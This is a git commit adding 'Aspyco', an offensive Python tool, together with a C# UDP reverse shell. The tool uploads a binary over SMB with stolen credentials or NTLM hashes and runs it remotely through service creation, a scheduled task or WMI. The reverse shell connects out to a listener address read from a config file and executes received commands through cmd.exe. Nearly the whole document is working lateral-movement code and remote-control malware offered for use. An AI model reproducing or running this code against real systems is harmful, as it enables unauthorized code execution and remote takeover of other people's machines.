aspyco init
This commit is contained in:
@@ -1,2 +1,89 @@
|
||||
# aspyco
|
||||
Aspyco is a python script that permits to upload a local binary through SMB on a remote host. Then it remotely connects to svcctl named pipe through DCERPC to create and start the binary as a service.
|
||||
# Aspyco
|
||||
|
||||
<div align="center">
|
||||
<br>
|
||||
<img src="https://img.shields.io/badge/Python-3.6+-informational">
|
||||
<br>
|
||||
<a href="https://twitter.com/intent/follow?screen_name=ProcessusT" title="Follow"><img src="https://img.shields.io/twitter/follow/ProcessusT?label=ProcessusT&style=social"></a>
|
||||
<br>
|
||||
<h1>
|
||||
Inject your own venom 💉
|
||||
</h1>
|
||||
<br><br>
|
||||
</div>
|
||||
|
||||
> Aspyco is a python script that permits to upload a local binary through SMB on a remote host.<br />
|
||||
> Then it remotely connects to a named pipe through DCERPC or via DCOM to create and execute your payload.<br />
|
||||
> <br />
|
||||
> It's a psexec-like with custom execution !!
|
||||
> <br />
|
||||
<br>
|
||||
<div align="center">
|
||||
|
||||
<img src="https://github.com/ProcessusT/Aspyco/raw/main/demo.png" width="80%;">
|
||||
|
||||
</div>
|
||||
<br>
|
||||
|
||||
<br /><br />
|
||||
|
||||
## What da fuck is this ?
|
||||
<br />
|
||||
On Windows, RPC protocol permits to call remote functions.<br />
|
||||
Remotely, you can connect on SMB named pipe to call functions with DCERPC protocol.<br />
|
||||
In that way, you can upload a binary file through SMB and then call some functions<br />
|
||||
to create a service to execute your payload.<br />
|
||||
You can also remotely execute binaries with WMI through a DCOM connection.<br />
|
||||
<br />
|
||||
<br />
|
||||
|
||||
## Installation
|
||||
|
||||
<br>
|
||||
From sources :
|
||||
<br><br>
|
||||
|
||||
```python
|
||||
git clone https://github.com/ProcessusT/Aspyco
|
||||
cd Aspyco
|
||||
python3 aspyco.py -h
|
||||
```
|
||||
|
||||
<br><br>
|
||||
|
||||
|
||||
## Usage
|
||||
<br>
|
||||
Aspyco uses Impacket syntax :
|
||||
<br><br>
|
||||
|
||||
```python
|
||||
usage: aspyco.py [-h] [-payload PAYLOAD] [-listener_ip LISTENER_IP] [-listener_port LISTENER_PORT] [-method METHOD] [-hashes LMHASH:NTHASH] target
|
||||
|
||||
Upload and start your custom payloads remotely !
|
||||
|
||||
positional arguments:
|
||||
target [[domain/]username[:password]@]<targetName or address>
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-payload PAYLOAD Your custom binary file
|
||||
-listener_ip LISTENER_IP Listener ip address if no custom payload is specified
|
||||
-listener_port LISTENER_PORT Listener port if no custom payload is specified
|
||||
-method METHOD {"DCERPC-SVCCTL", "DCERPC-ATSVC", "DCOM"} - Default : DCERPC-SVCCTL
|
||||
-hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH
|
||||
```
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Example
|
||||
|
||||
<br>
|
||||
|
||||
```python
|
||||
aspyco -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 custom_reverse_shell.exe
|
||||
```
|
||||
|
||||
<br>
|
||||
<br>
|
||||
@@ -0,0 +1,282 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Aspyco
|
||||
#
|
||||
# V 1.1
|
||||
#
|
||||
# Copyright (C) 2022 Les tutos de Processus. All rights reserved.
|
||||
#
|
||||
#
|
||||
# Description:
|
||||
# This tool permits to upload a local binary through SMB on a remote host.
|
||||
# Then it remotely connects to svcctl named pipe through DCERPC to create
|
||||
# and start the binary as a service.
|
||||
# A silent reverse shell can be deployed in that way.
|
||||
#
|
||||
# Author:
|
||||
# Processus (@ProcessusT)
|
||||
#
|
||||
|
||||
import socket, sys, time
|
||||
import os
|
||||
import socket
|
||||
import argparse
|
||||
import logging
|
||||
import traceback
|
||||
from impacket.examples import logger
|
||||
from impacket.examples.utils import parse_target
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.dcerpc.v5 import transport, scmr, tsch
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
import random
|
||||
import string
|
||||
import requests
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
|
||||
|
||||
print(" _ __ ___ __ __ __ _ \n / \ / _|| o \\ V / / _| / \ \n| o |\_ \| _/ \ / ( (_ ( o )\n|_n_||__/|_| |_| \__| \_/ \n \nby Proc :)\n\n")
|
||||
|
||||
class inject_venom():
|
||||
def run(self, username, password, domain, lmhash, nthash, target, payload, listener_port, listener_ip, method, preferredDialect):
|
||||
try:
|
||||
# generate a random name for our payload
|
||||
letters = string.ascii_lowercase
|
||||
randName = ''.join(random.choice(letters) for i in range(8))
|
||||
randName = randName+".exe"
|
||||
withoutpayload = False
|
||||
if payload == '':
|
||||
if listener_port == '' or listener_ip == '' or listener_ip is None or listener_port is None:
|
||||
print("Listener ip address and port should be specified if no custom payload is selected !")
|
||||
sys.exit()
|
||||
withoutpayload = True
|
||||
payload = randName
|
||||
print("Custom payload not detected, trying to download a reverse shell to " + str(listener_ip))
|
||||
# get csharp UDP reverse shell from official repo
|
||||
# you can compile it yourself for more security : https://raw.githubusercontent.com/ProcessusT/Aspyco/udp_reverse_shell.cs
|
||||
os.system("cp ./udp_reverse_shell.exe ./" + randName)
|
||||
#URL = "https://github.com/ProcessusT/Aspyco/raw/main/udp_reverse_shell.exe"
|
||||
#response = requests.get(URL)
|
||||
#open(randName, "wb").write(response.content)
|
||||
|
||||
# upload payload on c$ remote share
|
||||
print("Uploading file with random name \"" + str(randName) + "\" to remote host " + target + "...")
|
||||
fake_computer_name = ''.join(random.choice(letters) for i in range(8))
|
||||
smbClient = SMBConnection(target, target, myName=fake_computer_name, preferredDialect=preferredDialect)
|
||||
smbClient.login(username, password, domain, lmhash, nthash)
|
||||
if smbClient.connectTree("c$") != 1:
|
||||
raise
|
||||
f = open(payload, "rb")
|
||||
smbClient.putFile("C$", "\\" + randName, f.read)
|
||||
print('File uploaded.')
|
||||
# if we take aspyco udp reverse shell we need a config file
|
||||
if withoutpayload == True:
|
||||
print("Uploading config file too...")
|
||||
config_content = str(listener_ip) + "\n" + str(listener_port)
|
||||
f = open("cfg.ini", "w+")
|
||||
f.write(config_content)
|
||||
f.close()
|
||||
f = open("cfg.ini", "r")
|
||||
smbClient.putFile("C$", "\\cfg.ini", f.read)
|
||||
print("Uploaded.")
|
||||
|
||||
match method:
|
||||
case "DCOM":
|
||||
print("Triggering payload with DCOM method...")
|
||||
# COM initialization
|
||||
dcom = DCOMConnection(target, username, password, domain, lmhash, nthash)
|
||||
# Create the required interface instance
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
# Connect to the management services interface in a particular namespace
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
# Retrieve Processes management
|
||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||
# Launch our payload
|
||||
win32Process.Create( 'C:\\' + str(randName) , str('C:\\') , None)
|
||||
print("Check your listener !")
|
||||
iWbemLevel1Login.RemRelease()
|
||||
dcom.disconnect()
|
||||
sys.exit()
|
||||
case "DCERPC-SVCCTL":
|
||||
print("Triggering payload with DCERPC-SVCCTL method...")
|
||||
# We prepare a DCERPCStringBinding object that permits to define transport type (TCP, HTTP, Named pipe...etc)
|
||||
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % target)
|
||||
# We add our creds for the named pipe connection
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
# We instanciate a DCERPCTransport object for transport
|
||||
# This function returns a DCERPC_v5 object with our custom options
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
# We connect to our named pipe
|
||||
logging.info("Connecting to remote named pipe %s" % r'ncacn_np:%s[\pipe\svcctl]' % target)
|
||||
dce.connect()
|
||||
# We connect to the UUID or the RPC named pipe to call its functions
|
||||
print("connecting through RPC to UUID " + str(scmr.MSRPC_UUID_SCMR))
|
||||
# Bind to service manager UUID
|
||||
dce.bind(scmr.MSRPC_UUID_SCMR)
|
||||
# We open service manager through our connection and retrieve a handle on it
|
||||
resp = scmr.hROpenSCManagerW(dce)
|
||||
scHandle = resp['lpScHandle']
|
||||
# We generate a new random string to create our service
|
||||
letters = string.ascii_lowercase
|
||||
lpServiceName = ''.join(random.choice(letters) for i in range(8))
|
||||
print("Creating new service with random name \"" + lpServiceName + "\" on remote target...")
|
||||
lpBinaryPathName="C:\\"+randName
|
||||
# We create a service on remote host to launch our payload
|
||||
resp = scmr.hRCreateServiceW(dce, scHandle, lpServiceName, lpServiceName, lpBinaryPathName=lpBinaryPathName, dwStartType=scmr.SERVICE_DEMAND_START)
|
||||
service = resp['lpServiceHandle']
|
||||
# We start the service
|
||||
print("Starting service \"" + lpServiceName + "\" on remote host...")
|
||||
scmr.hRStartServiceW(dce, service)
|
||||
print("Check your listener !")
|
||||
dce.disconnect()
|
||||
case "DCERPC-ATSVC":
|
||||
print("Triggering payload with DCERPC-ATSVC method...")
|
||||
# We prepare a DCERPCStringBinding object that permits to define transport type (TCP, HTTP, Named pipe...etc)
|
||||
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\atsvc]' % target)
|
||||
# We add our creds for the named pipe connection
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
# We instanciate a DCERPCTransport object for transport
|
||||
# This function returns a DCERPC_v5 object with our custom options
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
# We connect to our named pipe
|
||||
logging.info("Connecting to remote named pipe %s" % r'ncacn_np:%s[\pipe\atsvc]' % target)
|
||||
dce.connect()
|
||||
# Task scheduler need more secure authentication than svcctl
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
# We connect to the UUID or the RPC named pipe to call its functions
|
||||
print("connecting through RPC to UUID " + str(tsch.MSRPC_UUID_TSCHS))
|
||||
# Bind to service manager UUID
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
# Creating a new scheduled task in xml format to launch our payload
|
||||
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<RegistrationInfo>
|
||||
<Description>Proc Aspyco</Description>
|
||||
</RegistrationInfo>
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>2012-10-09T17:06:42.435+05:30</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="Author">
|
||||
<UserId>S-1-5-18</UserId>
|
||||
<RunLevel>LeastPrivilege</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<StartWhenAvailable>false</StartWhenAvailable>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<Duration>PT10M</Duration>
|
||||
<WaitTimeout>PT1H</WaitTimeout>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>false</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
|
||||
<Priority>1</Priority>
|
||||
</Settings>
|
||||
<Actions Context="Author">
|
||||
<Exec>
|
||||
<Command>%s</Command>
|
||||
<Arguments></Arguments>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""" % ("C:\\" + str(randName))
|
||||
tmpFileName = ''.join(random.choice(letters) for i in range(8))
|
||||
print("Creating scheduled task with custom name " + str(tmpFileName))
|
||||
tsch.hSchRpcRegisterTask(dce, '\\' + tmpFileName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
print("Starting task...")
|
||||
tsch.hSchRpcRun(dce, '\\' + tmpFileName)
|
||||
print("Check your listener !")
|
||||
case _:
|
||||
print("Method not found.")
|
||||
sys.exit()
|
||||
except Exception as e:
|
||||
print ("ERROR :")
|
||||
print(e)
|
||||
sys.exit()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def init_logger(args):
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(add_help=True, description="Upload and start your custom payloads remotely !")
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-payload', action='store', help='Your custom binary file')
|
||||
parser.add_argument('-listener_ip', action='store', help='Listener ip address if no custom payload is specified')
|
||||
parser.add_argument('-listener_port', action='store', help='Listener port if no custom payload is specified')
|
||||
parser.add_argument('-smb2', action='store', help='Force SMBv2')
|
||||
parser.add_argument('-method', action='store', help='{"DCERPC-SVCCTL", "DCERPC-ATSVC", "DCOM"} - Default : DCERPC-SVCCTL')
|
||||
parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
options = parser.parse_args()
|
||||
|
||||
init_logger(options)
|
||||
|
||||
domain, username, password, remoteName = parse_target(options.target)
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.hashes is not None:
|
||||
lmhash, nthash = options.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
if options.payload is None:
|
||||
payload = ''
|
||||
listener_ip = options.listener_ip
|
||||
listener_port = options.listener_port
|
||||
else:
|
||||
payload = options.payload
|
||||
listener_ip = ""
|
||||
listener_port = ""
|
||||
|
||||
if options.method is None:
|
||||
method="DCERPC-SVCCTL"
|
||||
else:
|
||||
method = options.method
|
||||
|
||||
if options.smb2 is True:
|
||||
preferredDialect = SMB2_DIALECT_002
|
||||
else:
|
||||
preferredDialect = None
|
||||
|
||||
c = inject_venom()
|
||||
dce = c.run(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, target=remoteName, payload=payload, listener_port=listener_port, listener_ip=listener_ip, method=method, preferredDialect=preferredDialect)
|
||||
sys.exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,85 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using System.IO;
|
||||
using System.Diagnostics;
|
||||
using System.ComponentModel;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace ProcRevShell
|
||||
{
|
||||
public class Program
|
||||
{
|
||||
|
||||
public static void Main(string[] args)
|
||||
{
|
||||
|
||||
UdpClient udpClient = new UdpClient(11000);
|
||||
|
||||
try{
|
||||
|
||||
string[] udp_args = new string[2];
|
||||
int i = 0;
|
||||
string[] lines = File.ReadAllLines("C:\\cfg.ini");
|
||||
foreach (string line in lines){
|
||||
Console.WriteLine(line);
|
||||
udp_args[i] = line;
|
||||
i++;
|
||||
}
|
||||
|
||||
Console.WriteLine(udp_args);
|
||||
|
||||
udpClient.Connect(udp_args[0], int.Parse(udp_args[1]));
|
||||
|
||||
Byte[] sendBytes = Encoding.ASCII.GetBytes("New zombie connected !\n\n>>>");
|
||||
|
||||
udpClient.Send(sendBytes, sendBytes.Length);
|
||||
|
||||
IPEndPoint RemoteIpEndPoint = new IPEndPoint(IPAddress.Any, 0);
|
||||
|
||||
while(true){
|
||||
Byte[] receiveBytes = udpClient.Receive(ref RemoteIpEndPoint);
|
||||
string returnData = Encoding.ASCII.GetString(receiveBytes);
|
||||
|
||||
Console.WriteLine("Received command from " + RemoteIpEndPoint.Address.ToString());
|
||||
|
||||
ProcessStartInfo processInfo;
|
||||
Process process;
|
||||
|
||||
processInfo = new ProcessStartInfo("cmd.exe", "/c " + returnData.ToString());
|
||||
processInfo.CreateNoWindow = true;
|
||||
processInfo.UseShellExecute = false;
|
||||
processInfo.RedirectStandardError = true;
|
||||
processInfo.RedirectStandardOutput = true;
|
||||
|
||||
process = Process.Start(processInfo);
|
||||
process.WaitForExit();
|
||||
|
||||
string output = process.StandardOutput.ReadToEnd();
|
||||
string error = process.StandardError.ReadToEnd();
|
||||
|
||||
int exitCode = process.ExitCode;
|
||||
|
||||
output = output + "\n\n>>>";
|
||||
|
||||
Byte[] outputtobytes = Encoding.ASCII.GetBytes(output);
|
||||
|
||||
udpClient.Send(outputtobytes, outputtobytes.Length);
|
||||
|
||||
}
|
||||
|
||||
udpClient.Close();
|
||||
|
||||
}
|
||||
catch (Exception e ) {
|
||||
Console.WriteLine(e.ToString());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Reference in New Issue
Block a user